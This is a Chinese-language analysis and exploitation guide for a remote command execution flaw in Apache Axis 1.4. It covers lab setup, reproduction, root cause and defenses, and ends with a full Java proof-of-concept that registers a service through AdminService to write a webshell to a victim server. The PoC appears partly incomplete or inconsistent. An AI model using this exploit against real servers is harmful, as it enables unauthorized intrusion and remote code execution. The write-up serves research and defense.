Apache Axis 1.4远程命令执行诡异探索之路
字数 1318 2025-08-18 11:39:08
Apache Axis 1.4远程命令执行漏洞分析与利用指南
1. 漏洞概述
Apache Axis 1.4存在远程命令执行漏洞,攻击者可通过构造特定请求在服务器上注册恶意服务并写入Webshell,最终实现远程代码执行。
1.1 受影响版本
- Apache Axis 1.4版本
1.2 漏洞原理
该漏洞源于Axis默认配置允许远程注册服务,且可通过日志操作将恶意代码写入JSP文件:
- 通过AdminService远程注册一个自定义服务
- 在服务中绑定日志操作,将日志输出到JSP文件
- 通过调用服务将恶意代码写入JSP文件
- 访问该JSP文件实现远程命令执行
2. 环境搭建
2.1 所需组件
- Apache Axis 1.4
- Tomcat服务器
2.2 安装步骤
- 从Apache官网下载Axis 1.4版本
- 将Axis部署到Tomcat的webapps目录下
- 启动Tomcat服务
3. 漏洞复现
3.1 本地复现
-
检查初始配置:
- WEB-INF目录下无
server-config.wsdd文件 web.xml中AdminService默认未启用
- WEB-INF目录下无
-
本地利用POC注册服务:
// 示例POC代码(简化版) Service service = new Service(); Call call = (Call) service.createCall(); call.setTargetEndpointAddress("http://localhost:8080/axis/services/AdminService"); call.setOperationName("admin:deployService"); call.addParameter("serviceName", XMLType.XSD_STRING, ParameterMode.IN); call.addParameter("serviceXML", XMLType.XSD_STRING, ParameterMode.IN); call.invoke(new Object[]{"RandomService", "<service>...</service>"}); -
观察结果:
- 成功注册RandomService服务
- 生成
ha233.jspWebshell文件
3.2 远程复现
-
修改配置:
- 在生成的
server-config.wsdd文件中设置:<parameter name="enableRemoteAdmin" value="true"/>
- 在生成的
-
执行远程攻击:
- 使用相同POC,修改目标地址为远程服务器
- 可成功注册服务并写入Webshell
4. 漏洞分析
4.1 关键配置点
-
server-config.wsdd文件:enableRemoteAdmin参数控制是否允许远程管理- 默认情况下,首次本地注册后会生成此文件
-
web.xml配置:- 传统认知需要取消AdminServlet注释
- 实际测试发现只需
enableRemoteAdmin=true即可
4.2 攻击流程
-
服务注册阶段:
- 通过AdminService的
deployService方法注册新服务 - 服务定义中包含日志处理器配置
- 通过AdminService的
-
Webshell写入阶段:
- 调用注册的服务执行操作
- 操作日志被写入指定的JSP文件
- 日志内容包含恶意Java代码
-
命令执行阶段:
- 访问写入的JSP文件
- 服务器执行其中的Java代码
5. 利用条件
-
必要条件:
- 服务器运行Apache Axis 1.4
enableRemoteAdmin设置为true(或可通过本地注册开启)
-
可选条件:
- 知道已注册的服务名称(用于日志注入)
- 服务配置了日志处理器且输出为JSP文件
6. 防御措施
-
立即措施:
- 禁用远程管理功能:
<parameter name="enableRemoteAdmin" value="false"/> - 删除或重命名AdminService
- 禁用远程管理功能:
-
长期措施:
- 升级到最新安全版本
- 实施网络层访问控制,限制访问Axis服务的IP
-
监控措施:
- 监控
server-config.wsdd文件变更 - 检查WEB-INF目录下异常的JSP文件
- 监控
7. 参考资源
-
Axis使用指南:
-
漏洞分析文章:
-
漏洞利用工具:
8. 附录:完整POC示例
import org.apache.axis.client.Call;
import org.apache.axis.client.Service;
import javax.xml.namespace.QName;
import javax.xml.rpc.ParameterMode;
public class AxisRCE {
public static void main(String[] args) {
try {
String targetURL = "http://victim:8080/axis/services/AdminService";
String serviceName = "RandomService";
String serviceXML = "<deployment xmlns=\"http://xml.apache.org/axis/wsdd/\" " +
"xmlns:java=\"http://xml.apache.org/axis/wsdd/providers/java\">" +
"<service name=\"" + serviceName + "\" provider=\"java:RPC\">" +
"<parameter name=\"className\" value=\"java.util.Random\"/>" +
"<parameter name=\"allowedMethods\" value=\"*\"/>" +
"<parameter name=\"enableRemoteAdmin\" value=\"true\"/>" +
"</service>" +
"<handler type=\"java:org.apache.axis.handlers.LogHandler\">" +
"<parameter name=\"LogHandler.fileName\" value=\"../webapps/axis/ha233.jsp\"/>" +
"<parameter name=\"LogHandler.writeToConsole\" value=\"false\"/>" +
"</handler>" +
"</deployment>";
Service service = new Service();
Call call = (Call) service.createCall();
call.setTargetEndpointAddress(targetURL);
call.setOperationName(new QName("http://xml.apache.org/axis/wsdd/", "deployService"));
call.addParameter("serviceName", org.apache.axis.encoding.XMLType.XSD_STRING, ParameterMode.IN);
call.addParameter("serviceXML", org.apache.axis.encoding.XMLType.XSD_STRING, ParameterMode.IN);
call.invoke(new Object[]{serviceName, serviceXML});
System.out.println("Exploit completed. Webshell at: http://victim:8080/axis/ha233.jsp");
} catch (Exception e) {
e.printStackTrace();
}
}
}